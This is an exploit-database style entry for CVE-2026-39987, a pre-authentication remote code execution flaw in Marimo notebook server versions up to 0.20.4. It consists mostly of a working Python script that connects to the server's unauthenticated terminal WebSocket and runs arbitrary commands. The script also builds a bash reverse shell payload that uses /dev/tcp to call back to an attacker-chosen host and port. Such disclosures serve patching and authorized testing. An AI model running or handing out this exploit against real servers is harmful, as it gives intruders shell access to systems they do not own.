Title: Marimo 0.20.4 - RCE
Date: August 2nd, 2026
Exploit Author: Jason Bernier
Vendor Homepage: https://marimo.io/
Software Link: https://github.com/marimo-team/marimo
Version: <=0.20.4
Tested on: Ubuntu 24.04
CVE: CVE-2026-39987
Advisory:
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
"""
Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo.
The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.
Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
This exploit will either execute a reverse shell or any command specified with the -c argument.
https://github.com/jasonbernier/
"""
import websocket
import argparse
import time
import sys
import urllib.parse
import ssl
import socket
import threading
import subprocess
from typing import Optional
# Global variables for reverse shell
LHOST: Optional[str] = None
LPORT: Optional[int] = None
shell_socket: Optional[socket.socket] = None
conn: Optional[socket.socket] = None
def send_reverse_command(command: str) -> str:
"""Send command to target and receive output"""
try:
if not conn:
print("[-] No active connection")
return ""
conn.sendall(command.encode() + b"\n")
time.sleep(1)
output = b""
while True:
try:
data = conn.recv(4096)
if not data:
break
output += data
except socket.timeout:
break
return output.decode('utf-8', errors='ignore')
except Exception as e:
print(f"[-] Error sending command: {str(e)}")
return ""
def exploit(target_url: str, command: str = None) -> None:
"""
Exploit CVE-2026-39987 to execute commands via WebSocket terminal.
Args:
target_url: Target URL (e.g., http://localhost:2718)
command: Command to execute (default: id && whoami && hostname)
"""
# Normalize URL
if not target_url.startswith(('http://', 'https://')):
target_url = f"http://{target_url}"
parsed = urllib.parse.urlparse(target_url)
if parsed.scheme not in ['http', 'https']:
print(f"[-] Invalid scheme: {parsed.scheme}")
sys.exit(1)
# Determine protocol based on port
if parsed.port == 443 or parsed.scheme == 'https':
ws_scheme = 'wss'
else:
ws_scheme = 'ws'
# Build WebSocket URL
ws_path = parsed.path.rstrip('/')
if ws_path.endswith('/terminal/ws'):
ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')
elif '/terminal/ws' not in ws_path:
ws_path = f"{ws_path}/terminal/ws"
ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}"
try:
print(f"[+] Connecting to {ws_url}...")
# Disable SSL verification for self-signed certs
ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE})
# Wait for initial output to drain
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute command
if command:
print(f"[+] Executing reverse shell!")
ws.send(command + "\n")
time.sleep(2)
# Get output
output = ""
try:
while True:
ws.settimeout(1)
chunk = ws.recv()
output += chunk
except:
pass
print(f"[+] Check your netcat listener on port {LPORT}!")
ws.close()
except Exception as e:
print(f"[-] Error: {str(e)}")
sys.exit(1)
def main():
"""Parse arguments and execute exploit."""
parser = argparse.ArgumentParser(
description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE',
)
parser.add_argument(
'-u', '--url', required=True,
help='Target URL (e.g., http://localhost:2718)'
)
parser.add_argument(
'-c', '--command',
help=' Command to execute (default: id && whoami && hostname)'
)
parser.add_argument(
'--lhost',
help='Local host for reverse shell (requires --lport)'
)
parser.add_argument(
'--lport', type=int,
help='Local port for reverse shell (requires --lhost)'
)
args = parser.parse_args()
# Validate arguments
if (args.lhost and not args.lport) or (args.lport and not args.lhost):
print("[-] Both --lhost and --lport must be provided together")
sys.exit(1)
# Set up reverse shell if specified
if args.lhost and args.lport:
global LHOST, LPORT
LHOST = args.lhost
LPORT = args.lport
# Generate reverse shell payload
payload = (
f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id"
)
# Send payload directly
exploit(args.url, payload)
else:
# Default command if none specified
default_cmd = "id && whoami && hostname"
cmd = args.command or default_cmd
exploit(args.url, cmd)
if __name__ == "__main__":
main()